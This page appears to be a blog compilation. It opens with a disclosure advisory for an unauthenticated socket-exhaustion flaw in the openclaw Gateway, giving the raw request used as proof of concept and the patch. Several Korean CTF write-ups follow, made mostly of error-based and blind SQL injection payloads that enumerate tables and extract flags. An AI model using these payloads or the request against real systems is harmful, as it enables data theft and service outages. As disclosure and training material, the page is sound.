320x100

GHSA-4r25-35qc-fr6j · CWE-400, CWE-404 · CVSS 3.1 base score 7.5 (High)

Package openclaw (npm)
Vulnerability type Denial of service / resource exhaustion
Attack vector Remote, unauthenticated
Affected versions < 2026.7.2-beta.1, >= 2026.7.2-beta.1, < 2026.7.2-beta.7
Patched version 2026.7.2-beta.7
CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVE Not assigned (see Disclosure note)
Reporter Yongyeop Cho (@BrandonChoKR), STEALIEN
Published 2026-09-01

Summary

The openclaw Gateway's HTTP request handler decides whether an incoming request is a WebSocket upgrade by looking at the Upgrade header alone. A request that carries Upgrade: websocket without the matching Connection: upgrade token is not routed as a WebSocket upgrade by Node's HTTP server, but the handler still treats it as one and returns early without calling res.end().

The socket is left open indefinitely. Because the request never completes and is never counted against the pre-authentication connection budget, an unauthenticated remote attacker can open sockets in a loop and hold Gateway resources until the process stops serving legitimate traffic. No credentials, no user interaction, and no special configuration are required — only network reachability to the Gateway.

Affected versions

At the time of reporting, three of the four published npm dist-tags shipped the vulnerable code, and the fix existed only on beta:

dist-tag Version Status

latest 2026.7.1-2 Affected
extended-stable 2026.6.34 Affected
alpha 2026.5.19-alpha.1 Affected
beta 2026.7.2-beta.7 Patched

Note the version range is split in two. 2026.7.1-2 is a prerelease identifier, and under semver prerelease comparison rules a single range of < 2026.7.2-beta.7 does not match it. Tooling that consumes the advisory needs both < 2026.7.2-beta.1 and >= 2026.7.2-beta.1, < 2026.7.2-beta.7 to cover every affected release.

Details

The vulnerable guard is in src/gateway/server-http.ts (around lines 537–547 of the version analyzed):

if ((req.headers.upgrade ?? "").toLowerCase() === "websocket") {
  return;
}

The intent is to hand WebSocket upgrades off to the upgrade handler and stop processing them as ordinary HTTP. The problem is the condition.

Node's HTTP server emits the upgrade event only when both Upgrade and Connection: upgrade are present. A request that sets Upgrade: websocket but sends Connection: keep-alive is delivered to the normal request handler instead. The guard above matches it anyway, returns, and never writes a response or destroys the socket.

Three consequences follow:

  1. No response is ever sent. The return happens before any res.end(), so the connection stays open with the request half-processed.
  2. The connection is invisible to the budget. The pre-authentication connection budget counts completed request cycles, so these sockets are never accounted for and never trigger throttling.
  3. No timeout closes it. The Gateway does not set requestTimeout, headersTimeout, or a socket timeout, so nothing reclaims the socket.

Each of the three alone would be recoverable. Together they mean a single malformed header combination converts into unbounded, unauthenticated resource retention.

Proof of concept

Verified in a local, isolated environment. The observations below are measured, not inferred.

Target:       src/gateway/server-http.ts (Gateway HTTP request handler)
Environment:  Windows 11, Node.js v24.18.0, local build
Preconditions: Network reachability to the Gateway port. No authentication.
Input:        Raw HTTP/1.1 request, repeated across parallel sockets:

              GET /hooks/wake HTTP/1.1
              Host: <gateway-host>
              Upgrade: websocket
              Connection: keep-alive

Procedure:    1. Start the Gateway with default configuration.
              2. Open 25 TCP sockets and write the request above on each.
              3. Send nothing further and read no response.
              4. Observe socket state over time.

Observation:  All 25 sockets remained open for the full 45-second observation
              window. No response bytes were returned on any socket, and no
              socket was closed by the server. The connections did not appear
              against the pre-auth connection budget.

Impact:       Availability. Sockets are retained indefinitely without
              authentication and without accounting, so the retention scales
              with the number of connections an attacker chooses to open.

The demonstration was deliberately limited to establishing that the condition exists. No attempt was made to exhaust the target or to measure a failure threshold.

The same request shape now appears in the project's own test suite. The fix commit adds server-http.upgrade-claim.test.ts, whose case rejects websocket upgrade headers that Node routes as ordinary HTTP sends Upgrade: websocket with Connection: keep-alive and asserts a 400 response.

Impact

Availability only. There is no read or write of application data, and no authentication bypass.

Anyone who can reach the Gateway over the network can hold its resources without credentials. That makes the exposure a direct function of deployment: a Gateway bound to a loopback interface is reachable only locally, while one exposed to a network or the internet is reachable by anyone. Deployments that place the Gateway behind a shared reverse proxy are also affected, since the proxy forwards the malformed request unchanged.

The relevant boundary here is authentication, not the project's trusted-operator model. This is reachable before any operator identity is established, so it is not covered by the assumption that authenticated Gateway operators are trusted.

Mitigation

Upgrade. The fix is in 2026.7.2-beta.7 and later on the beta channel.

As of publication no patched release exists on latest or extended-stable. Users on those channels have no upgrade path within their channel and should apply the workarounds below.

Workarounds.

  • Validate the header pair at the reverse proxy: reject any request that carries an Upgrade header without a matching upgrade token in Connection.
  • Set a socket idle timeout in front of the Gateway so half-open connections are reclaimed.
  • Restrict network exposure of the Gateway to trusted sources until a patched release is available on your channel.

The applied patch. The upstream fix replaces the header-only check with one that verifies both headers, and explicitly rejects requests that claim an upgrade without satisfying it:

if (isWebSocketUpgradeRequest(req)) {
  return;
}
if (req.headers.upgrade !== undefined) {
  res.statusCode = 400;
  res.setHeader("Connection", "close");
  res.end("Bad Request");
  return;
}

isWebSocketUpgradeRequest splits Connection on commas and compares trimmed tokens, so combinations such as Connection: keep-alive, Upgrade are handled correctly. I reviewed the patch and found no remaining bypass for this condition.

Two defence-in-depth measures were not included and remain worth considering: request and header timeouts on the HTTP server, and extending the pre-authentication connection budget to cover connections that never complete a request cycle. Neither is required to close this specific issue.

Timeline

Date Event

2026-07-28 Reported privately through GitHub Security Advisory GHSA-4r25-35qc-fr6j. CVE assignment requested in the same thread.
2026-08-01 Fix merged publicly in PR #115038 (commit beab295) and released in 2026.7.2-beta.7. Advisory remained in draft.
2026-08-05 Followed up in the advisory thread, including a direct mention of a repository owner, since publishing requires owner permissions. No response.
2026-09-01 Advisory still unpublished, 35 days after the report. This write-up published.

Disclosure note

The fix has been public since 2026-08-01, and the regression test shipped with it spells out the reproduction, so this vulnerability has been publicly known for a month. The advisory nonetheless remains in draft, which leaves users on the stable channels running vulnerable code with no notice that a fix exists elsewhere.

I do not read the delay as specific to this report. The repository has published no security advisories since 2026-06-30, and advisories it has published carry no CVE identifier — for example GHSA-jhfx-v2j8-x3m6 (CVSS 7.6, High) lists "No known CVE." Requesting CVE identifiers does not appear to be part of this project's advisory workflow.

On that basis I am publishing this write-up so affected users have actionable information, and requesting a CVE identifier from the MITRE CNA of Last Resort. I would still welcome publication of the upstream advisory, and will update this document with a CVE identifier if one is issued.

Credit

Reported by Yongyeop Cho (@BrandonChoKR), Senior Researcher at STEALIEN. Reporter credit was accepted on the upstream advisory. The fix was implemented and merged by the openclaw maintainers.

References

300x250
320x100

SQL Injection 포인트 찾기

 

공격 format 만들기

 

normaltic' and extractvalue('1', concat(0x3a, (select 'normaltic'))) and '1'='1

 

DB 이름 출력해보기 : sqli_2_2

 

 

 

  1. table 이름 알아내기 flagTable_this → member

select table_name from information_schema.tables where table_schema=’sqli_2_2’

normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2_2' limit 0,1))) and '1'='1

  1. 컬럼이름 추출하기 idx → flag

normaltic' and extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name='flagTable_this' limit 0,1))) and '1'='1

  1. 데이터 추출하기

normaltic' and extractvalue('1',concat(0x3a,(select flag from flagTable_this limit 0,1))) and '1'='1

 

300x250
320x100

 

SQL 포인트 찾기

 

normaltic’ / 1234 를 입력했을때 아래와 같은 화면이 나온다

 

  1. 에러를 출력 함수

extractvalue

  1. 공격 format 만들기

normaltic’ and extractvalue() and ‘1’=’1

normaltic' and extractvalue('1' , concat(0x3a, (select 'normaltic'))) and '1'='1

만든 쿼리가 정상적으로 동작하는지 확인

 

  1. DB 이름 출력 sqli_2_1

normaltic' and extractvalue('1' , concat(0x3a, (select database()))) and '1'='1

 

 

  1. 테이블 이름 추출 flag_table → member

select table_name from information_schema.tables where table_schema=’sqli_2_1’

normaltic' and extractvalue('1' , concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2_1' limit 0,1))) and '1'='1

  1. 컬럼이름 추출 flag1 → flag2 → flag3 → flag4 → flag5 → flag6 → flag7 → flag8

select column_name from information_schema.columns where table_name=’flag_table’ limit 0,1

normaltic' and extractvalue('1' , concat(0x3a, (select column_name from information_schema.columns where table_name=’flag_table’ limit 0,1))) and '1'='1

 

  1. 데이터 추출 segfault{1 → a→ b→ c→ d→ e→ f→ g

normaltic' and extractvalue('1' , concat(0x3a, (select flag1 from flag_table))) and '1'='1

 

 

위 처럼 하나씩 나오는 데이터를 합치면 정답

 

300x250
320x100

 

SQL 포인트 찾기

 

normaltic’ / 1234 를 입력했을때 아래와 같은 화면이 나온다

 

 

 

에러를 출력 함수

extractvalue

 

 

 

공격 format 만들기

normaltic’ and extractvalue() and ‘1’=’1

normaltic' and extractvalue('1' , concat(0x3a, (select 'normaltic'))) and '1'='1

만든 쿼리가 정상적으로 동작하는지 확인

 

 

DB 이름 출력 sqli_2

 

normaltic' and extractvalue('1' , concat(0x3a, (select database()))) and '1'='1

 

 

테이블 이름 추출 flag_table → member

select table_name from information_schema.tables where table_schema=’sqli_2’

 

normaltic' and extractvalue('1' , concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2'))) and '1'='1

 

 

normaltic' and extractvalue('1' , concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1))) and '1'='1

 

 

컬럼이름 추출

 

select column_name from information_schema.columns where table_name=’flag_table’ limit 0,1

normaltic' and extractvalue('1' , concat(0x3a, (select column_name from information_schema.columns where table_name=’flag_table’ limit 0,1))) and '1'='1

 

 

데이터 추출

 

normaltic' and extractvalue('1' , concat(0x3a, (select flag from flag_table))) and '1'='1

300x250
320x100

SQL Injection 포인트 찾기

 

Select 문구 사용 가능한지 확인

 

공격 format

normaltic’ and (___조건___) and ‘1’=’1

 

normaltic' and (ascii(substr((select 'test'),1,1))) and '1'='1

 

 

normaltic' and (ascii(substr((select 'test'),1,1))> 116) and '1'='1

→ 존재하지 않는아이디입니다. ‘t’ 가 ascii에서 116

normaltic' and (ascii(substr((select 'test'),1,1))> 115) and '1'='1

→ 존재하는 아이디입니다.

공격 format이 올바르게 작동된다는 것을 확인 할 수 있다.

 

 

db 찾기 → blindSqli

normaltic' and (ascii(substr((select database()),1,1))> 0) and '1'='1

 

 

talbe 이름 flagTable

select table_name from information_schema.tables where table_schema=’blindSqli’ limit 0,1

normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema='blindSqli' limit 0,1),1,1))> 0) and '1'='1

 

 

column 이름 idx → flag

normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name='flagTable' limit 0,1),1,1))> 0) and '1'='1

 

 

만약 flagTable 테이블에 있는 flag 컬럼을 출력하고 싶다 segfault{Congratz_firstBlindSqli}

normaltic' and (ascii(substr((select flag from flagTable limit 0,1),1,1))>0) and '1'='1

 

 

300x250
320x100

SQL 포인트 찾기

우리가 원하는 SQL 에러가 화면에 출력되고 있는지 확인한다.

 

에러를 출력 함수

extractvalue

 

 

공격 format 만들기

normaltic’ and extractvalue(’1’, concat(0x3a, (_____))) and ‘1’=’1

 

normaltic’ and extractvalue(’1’, concat(0x3a, (select ‘normaltic’))) and ‘1’=’1

 

 

 

DB 이름 출력해보기 : errSqli

normaltic’ and extractvalue(’1’,concat(0x3a, (______select database()_____))) and ‘1’=’1

 

normaltic’

 

normaltic' and extractvalue('1',concat(0x3a,(select database()))) and '1'='1

 

 

table 이름 알아내기

 

select table_name from information_schema.tables where table_schema=’errSqli’

 

normaltic' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema=’errSqli’))) and '1'='1

 

 

normaltic' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema=’errSqli’ limit 0,1))) and '1'='1

 

flagTable → member → plusFlag_Table → 존재하지않는 아이디입니다.

 

 

컬럼이름 추출하기

 

normaltic' and extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name='flagTable' limit 0,1))) and '1'='1

 

idx → flag → 존재하지 않는 아이디입니다.

 

 

데이터 추출하기

 

flagTable 테이블에 있는 flag라는 열의 데이터를 추출

 

normaltic' and extractvalue('1',concat(0x3a,(select flag from flagTable limit 0,1))) and '1'='1

 

300x250

+ Recent posts